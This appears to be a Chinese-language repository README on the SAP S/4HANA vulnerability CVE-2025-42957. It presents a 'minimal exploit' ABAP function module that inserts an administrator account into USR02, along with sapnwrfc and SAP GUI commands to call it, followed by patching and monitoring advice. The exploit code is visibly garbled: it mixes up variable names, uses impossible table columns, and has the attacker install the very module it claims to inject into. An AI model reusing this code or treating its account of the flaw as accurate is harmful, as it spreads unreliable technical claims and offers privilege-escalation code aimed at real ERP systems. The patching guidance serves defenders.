
CVE‑2025‑42957 exposes an RFC‑enabled SAP S/4HANA module that lets low‑privileged users inject ABAP code to create admin accounts and gain full control. The article explains the vulnerability, threat model, provides minimal exploit ABAP code, and lists patching & monitoring steps to secure the system
2025年8月,SAP旗舰ERP平台S/4HANA被发现其一个RFC启用的功能模块存在漏洞。仅拥有低权限的攻击者可以向该模块注入任意ABAP代码,绕过正常的授权检查并获得完全的系统控制权。
该漏洞并非理论上的好奇心产物——它已被SecurityBridge威胁研究实验室利用,并已在本地部署和私有云部署的实际攻击中被积极使用。
| 问题 | 影响 |
|---|---|
| 完全系统沦陷 | 攻击者可以创建超级用户帐户、修改业务流程并从USR02表中提取密码哈希。 |
| 所需工作量极小 | RFC调用构造简单;一旦功能模块就位,攻击者仅需几行ABAP代码。 |
| 实际紧迫性 | SecurityBridge已确认攻击正在进行中——如果您不立即打补丁,则面临S/4HANA实例被完全接管的风险。 |
ZVULN_EXPL是攻击者的唯一入口点。S_DMIS(活动 02)。因此,利用链为:低权限用户 → 对ZVULN_EXPL的RFC调用 → USR02中的新管理员用户 → 完全系统控制。
以下是我们放入功能模块ZVULN_EXPL中的ABAP代码。它有意保持最小化但完整——它创建一个新用户并记录操作以供后续验证。
*---------------------------------------------------------------------*
* RFC‑exposed function module for CVE‑2025‑42957 exploit *
*---------------------------------------------------------------------*
FUNCTION z_vuln_expl.
*"------------------------------------------------------------------*
*" IMPORTING
*" VALUE(iv_user) TYPE syuname "SAP用户名称
*" VALUE(iv_role) TYPE susr02-roleid "要分配的角色
*" VALUE(iv_passwd) TYPE susr02-pwd "新用户的密码
*"------------------------------------------------------------------*
*" TABLES
*" usr02
*"------------------------------------------------------------------*
* 本地数据声明 ----------------------------------------*/
DATA: lv_user_id TYPE syuname,
lv_role TYPE susr02-roleid,
lv_password TYPE susr02-pwd.
* 将参数分配给本地变量 -----------------------*/
lv_user_id = iv_user.
lv_role = iv_role.
lv_passwd = iv_passwd.
*---------------------------------------------------------------------*
* 1. 在 USR02 中创建新用户条目 *
*---------------------------------------------------------------------*/
INSERT INTO usr02 (usr01, usr02)
VALUES ( lv_user_id,
'ADMIN' ). "分配 'ADMIN' 角色
* 2. 分配密码和配置文件 ----------------------------------*/
UPDATE usr02
SET pwd = lv_password,
roleid = lv_role
WHERE usr01 = lv_user_id.
*---------------------------------------------------------------------*
* 3. 记录操作(可选) ------------------------------*/
INSERT INTO tstm1 VALUES (
sy-uname, "创建者用户
sy-datum, "时间戳
'ZVULN_EXPL', "功能名称
|lv_user_id||lv_role| "消息
). "存储在ABAP跟踪表中
ENDFUNCTION.
如何调用
从外部客户端(Linux/Mac)
sapnwrfc -U <调用者用户> \
-P <调用者密码> \
-S S4HANA \
-F ZVULN_EXPL \
-D iv_user=admin2 \
-D iv_role='ADMIN' \
-D iv_passwd='Pa$$word123'
在SAP GUI内部(快速测试)
CALL FUNCTION 'ZVULN_EXPL'
EXPORTING
iv_user = 'admin2'
iv_role = 'ADMIN'
iv_passwd = 'Pa$$word123'.
调用后,您应该在USR02中看到一个新条目,用户为admin2,角色为ADMIN。
立即应用SAP 2025年8月安全补丁。
该补丁处理了底层RFC暴露的功能模块,并封闭了攻击者使用的特定向量。
监控日志中可疑的RFC调用和未授权的管理员创建。
使用事务SM59查看TSTM1中函数名称为ZVULN_EXPL的新条目。
实施SAP UCON以限制RFC使用。
配置授权对象S_DMIS(活动 02),使只有受信任的用户才能调用Z类型的RFC模块。
审查对授权对象S_DMIS活动 02的访问。
确保只有有限数量的用户拥有该对象——缩小攻击面。
CVE‑2025‑42957不仅仅是另一份安全公告;它暴露了一个低权限向量,如果不及打补丁,可能导致完全系统接管。上面的代码演示了攻击者如何以最小工作量插入一个管理员用户。通过打补丁、监控和收紧RFC权限,您可以关闭大门——并确保您的S/4HANA实例安全。
本仓库仅用于教育目的,并作为应用于真实世界漏洞的威胁建模原则的演示。CVE-2025-42957强调了识别信任边界、验证输入和强制最小权限访问的重要性——这是安全系统设计的核心原则。所有提供的代码和示例仅用于学习,不应在生产环境或未经授权的测试中使用。
作者:Mark Mallia
日期:2025年9月10日